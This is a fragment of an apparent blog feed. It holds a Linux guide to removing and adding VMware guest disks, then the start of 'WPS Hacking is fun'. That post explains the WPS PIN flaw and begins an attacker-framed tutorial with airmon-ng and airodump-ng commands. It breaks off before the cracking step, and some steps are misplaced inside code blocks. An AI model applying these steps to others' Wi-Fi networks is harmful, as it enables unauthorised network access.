&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo lsof | grep /junk
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The command above should list running processes and filter them by the mountpoint - if you receive no output then you&amp;rsquo;re in luck; empty output of this command indicates there are no processes &amp;ldquo;locking&amp;rdquo; the drive. More than likely however, you will receive some kind of output from it. One of the ways to kill all the processes in our way is to issue the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo fuser -cuk /junk
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can run the &lt;code&gt;lsof&lt;/code&gt; command again to verify if the processes are gone. If you keep getting stuck with only one process, you should check if your current directory is different than the mountpoint we are trying to get rid of&amp;hellip;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ pwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ok, at this point we should be safe to move on to unmounting the drive from the filesystem. This is arguably the easiest part of the whole operation as only a single command is needed:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo umount /dev/sdb1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is up to your judgement if you need to delete the directory which used to be a mountpoint for the drive - it is not essential for removing the volume from the OS.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo rm -r /junk
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once that&amp;rsquo;s done we have to clear the &lt;code&gt;/etc/fstab&lt;/code&gt; from any references to the old drive. If you plan to add it back at some stage or replace it with a similar one (i.e. smaller drive mounted in the same place), you can leave the lines in place and just comment them out (mark them with &lt;code&gt;#&lt;/code&gt;).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo vi /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Your &lt;code&gt;/etc/fstab&lt;/code&gt; might differ greatly from the one in this example, however by looking at the below &lt;code&gt;cat&lt;/code&gt; command result, you should be able to tell what changes have been applied and how to apply them in the real world:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ cat /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda1           	/         	ext4      	rw,relatime,data&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;ordered	&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# /dev/sdb1           	/junk     	ext4      	rw,relatime,data=ordered	0 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/swapfile		none	swap	defaults	0	&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To finish it all up, we have to let the kernel know about the changes applied to /etc/fstab and the upcoming removal of the drive. The easiest way to do that is to rescan the storage controller:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;- - -&amp;#34;&lt;/span&gt; &amp;gt; /sys/class/scsi_host/host0/scan
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At this point, it is safe to remove the drive from the VMware level; it is recommended to run the following after the drive is gone:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo echo &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &amp;gt; /sys/block/sdb/device/delete
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;- - -&amp;#34;&lt;/span&gt; &amp;gt; /sys/class/scsi_host/host0/scan
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;which will ensure that the drive we removed will be completely gone from the memory of the OS. Not doing so might cause issues once we decide to add the drive back or replace it with a different one.&lt;/p&gt;
&lt;h3 id=&#34;adding-a-volume-from-guest-linux-perspective&#34;&gt;Adding a volume from guest (Linux) perspective&lt;/h3&gt;
&lt;p&gt;Adding a new volume to Linux guest is generally considered to be easier than removing one. To start, check if the drive is visible to the OS by running the &lt;code&gt;fdisk&lt;/code&gt; command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo fdisk -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the drive recently added to the VM is not visible in the &lt;code&gt;fdisk&lt;/code&gt; command, we can force a rescan of the storage controller by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;- - -&amp;#34;&lt;/span&gt; &amp;gt; /sys/class/scsi_host/host0/scan
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Before continuing, verify if the drive is now visible in &lt;code&gt;fdisk&lt;/code&gt; output and note its identifier (i.e. &lt;code&gt;/dev/sdc&lt;/code&gt;) - we will need it to create a partition table on the drive:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ fdisk /dev/sdc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the &lt;code&gt;fdisk&lt;/code&gt; wizard, we can issue the following sequence of commands to format the drive with a single, primary partition occupying all of its available disk space: &lt;code&gt;n&lt;/code&gt; (new), &lt;code&gt;p&lt;/code&gt; (primary), &lt;code&gt;enter&lt;/code&gt; (default first block), &lt;code&gt;enter&lt;/code&gt; (default last block), &lt;code&gt;enter&lt;/code&gt; (default block size), &lt;code&gt;w&lt;/code&gt; (write changes), &lt;code&gt;q&lt;/code&gt; (exit).For more advanced operation, please review the &lt;code&gt;fdisk&lt;/code&gt; article on the &lt;a href=&#34;https://wiki.archlinux.org/index.php/Fdisk&#34;&gt;Arch Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once the drive has a partition table, we can format the partition located on it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ mkfs.ext4 /dev/sdc1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can replace the &lt;code&gt;ext4&lt;/code&gt; bit with &lt;code&gt;etx3&lt;/code&gt; or any other format if needed.&lt;/p&gt;
&lt;p&gt;The next step is to mount the new drive at a mountpoint. This can either be done as temporary mount (&lt;code&gt;mount&lt;/code&gt; command) or permanent &lt;code&gt;/etc/fstab&lt;/code&gt; entry. For the new disk to accessible without a reboot and available after every future system rest, we should use both of these methods.&lt;/p&gt;
&lt;p&gt;Firstly, let&amp;rsquo;s mount the new volume at &lt;code&gt;/newjunk&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo mkdir /newjunk
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo mount /dev/sdc1 /newjunk
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can verify if the operation was successful by running either of these commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ cat /proc/mounts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ df -h
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lastly, we need to add a new entry to the &lt;code&gt;/etc/fstab&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo vi /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An entry to &lt;code&gt;/etc/fstab&lt;/code&gt; should always look similar to this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda1           	/         	ext4      	default	&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where: &lt;code&gt;/dev/sda1&lt;/code&gt; is the name of the drive &lt;code&gt;/&lt;/code&gt; is the mountpoint&lt;code&gt;ext4&lt;/code&gt; is the format used &lt;code&gt;default&lt;/code&gt; are additional options&lt;code&gt;0 1&lt;/code&gt; mounting order.&lt;/p&gt;
&lt;p&gt;In this case, we are going to add an entry as follows:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sdc1           	/newjunk         	ext4      	default	&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To finish adding the disk, we can force the storage controller to rescan:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@rhel.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;- - -&amp;#34;&lt;/span&gt; &amp;gt; /sys/class/scsi_host/host0/scan
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>WPS Hacking is fun</title>
      <link>/posts/210201-wps-hacking/</link>
      <pubDate>Mon, 01 Feb 2021 00:00:00 +0000</pubDate>
      
      <guid>/posts/210201-wps-hacking/</guid>
      <description>This article was requested by a certain batman&amp;hellip; looks like modern crimes require modern superhero gadgets.
WPS&amp;hellip; I believe it stands for &amp;ldquo;Wi-Fi Protected Setup&amp;rdquo; which, to be totally honest, is quite ironic. Nowadays, I think a much more fitting name would be &amp;ldquo;Wi-Fi Penetration System&amp;rdquo; since I can guarantee you that every network you spot with WPS enabled is hackable in less than 3/4 hours. Interesting? Well, let me show you.</description>
      <content>&lt;p&gt;&lt;em&gt;This article was requested by a certain batman&amp;hellip; looks like modern crimes require modern superhero gadgets.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;WPS&amp;hellip; I believe it stands for &amp;ldquo;Wi-Fi Protected Setup&amp;rdquo; which, to be totally honest, is quite ironic. Nowadays, I think a much more fitting name would be &amp;ldquo;Wi-Fi Penetration System&amp;rdquo; since I can guarantee you that every network you spot with WPS enabled is hackable in less than 3/4 hours. Interesting? Well, let me show you.&lt;/p&gt;
&lt;h2 id=&#34;why-wps-is-crap---short-summary&#34;&gt;Why WPS is crap - short summary&lt;/h2&gt;
&lt;p&gt;WPS uses 8-digit PINs to authenticate new devices in the Wi-Fi network. Usually, you would firstly press a big, dumb WPS button on your router, and then select a WPS-connect option on a device you wish to connect. You might think WPS is great as it&amp;rsquo;s simple to use, and yet very secure thanks to a long and random PIN. Right? Right&amp;hellip;? NOPE.&lt;/p&gt;
&lt;p&gt;First and foremost, even if the PINs were not as flawed as they are, a 8 digit number is not really that hard to brute force through. Sure, it would take longer than a couple of hours, but it&amp;rsquo;s definitely not something that would keep a potential attacker for too long.&lt;/p&gt;
&lt;p&gt;Problem is&amp;hellip; WPS PINs are not really 8 digit long.&lt;/p&gt;
&lt;p&gt;In 2011, a security researcher named  Stefan Viehböck, discovered a flaw in WPS PIN&amp;rsquo;s implementation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the last digit of each PIN is actually a checksum, which can be calculated from the other 7 numbers;&lt;/li&gt;
&lt;li&gt;the PIN is validated by dividing it into 2 halves: first half leaves 10,000 guesses &amp;amp; 2nd half leaves 1,000 guesses;&lt;/li&gt;
&lt;li&gt;the two halves of the PIN are often not properly randomized which makes running the tool like Reaver that much easier (more on that later).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Why is it that bad? Well, if the PINs were treated just as a single, long number, the total of brute force guesses you&amp;rsquo;d have to try before cracking WPS could, in the worst-case scenario, reach 100,000,000. With the PIN only having 7 &amp;ldquo;real&amp;rdquo; digits and being split into two halves at the verification stage, in reality, we&amp;rsquo;re only looking at 11,000 guesses&amp;hellip; AT MOST.&lt;/p&gt;
&lt;h2 id=&#34;lets-attack-a-wps-network&#34;&gt;Let&amp;rsquo;s attack a WPS network&lt;/h2&gt;
&lt;p&gt;In this tutorial, I&amp;rsquo;m going to assume a few things just to make it easier:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The attacker (us) knows how to use CLI and uinderstands the basics of *NIX;&lt;/li&gt;
&lt;li&gt;The attacker&amp;rsquo;s device has a network card suitable for this attack (either built-in or attached via USB);&lt;/li&gt;
&lt;li&gt;The attacker&amp;rsquo;s OS (Kali, Fedora, Mac etc. etc.) is installed on physical hardware, not a VM.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Right, let&amp;rsquo;s move on to the actual tutorial:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install &lt;a href=&#34;https://www.aircrack-ng.org/doku.php?id=install_aircrack#installing_pre-compiled_binaries&#34;&gt;&lt;code&gt;airmon-ng&lt;/code&gt;&lt;/a&gt; (&lt;a href=&#34;https://www.aircrack-ng.org/doku.php?id=install_aircrack#installing_pre-compiled_binaries&#34;&gt;scanning&lt;/a&gt;) and &lt;a href=&#34;https://pkgs.org/download/reaver&#34;&gt;&lt;code&gt;reaver&lt;/code&gt;&lt;/a&gt; (&lt;a href=&#34;https://pkgs.org/download/reaver&#34;&gt;cracking&lt;/a&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Stop services which could interfere with &lt;code&gt;airmon-ng&lt;/code&gt; (network-manger etc.); if &lt;code&gt;airmon-ng check&lt;/code&gt; complains about &amp;ldquo;processes which could cause trouble&amp;rdquo;, you can &lt;code&gt;kill -9 &amp;lt;pid&amp;gt;&lt;/code&gt; them and try again;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@l33th4xx0r.wpswifi.lab : airmon-ng check
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Found &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; process that could cause trouble.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PID Name
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; avahi-daemon
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@l33th4xx0r.wpswifi.lab : kill -9 &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@l33th4xx0r.wpswifi.lab : airmon-ng check
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;No interefering processes found.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; Once thats all &lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;, you can start the scan:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;```&lt;/span&gt;bash
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@l33th4xx0r.wpswifi.lab : ip link
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu &lt;span style=&#34;color:#ae81ff&#34;&gt;65536&lt;/span&gt; qdisc noqueue state UNKNOWN mode DEFAULT group default qlen &lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: wlp2s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu &lt;span style=&#34;color:#ae81ff&#34;&gt;1500&lt;/span&gt; qdisc noqueue state UP mode DORMANT group default qlen &lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@l33th4xx0r.wpswifi.lab : airmon-ng start wlp2s0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;No interefering processes found.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PHY    Driver    Driver    Chipset
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;phy0   wlp2s0    ath9k     Atheros AR9485
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; With that started, we can proceed to dump the captured packets &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;CTRL+C to stop&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;```&lt;/span&gt;bash
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@l33th4xx0r.wpswifi.lab : airodump-ng wlp2s-0
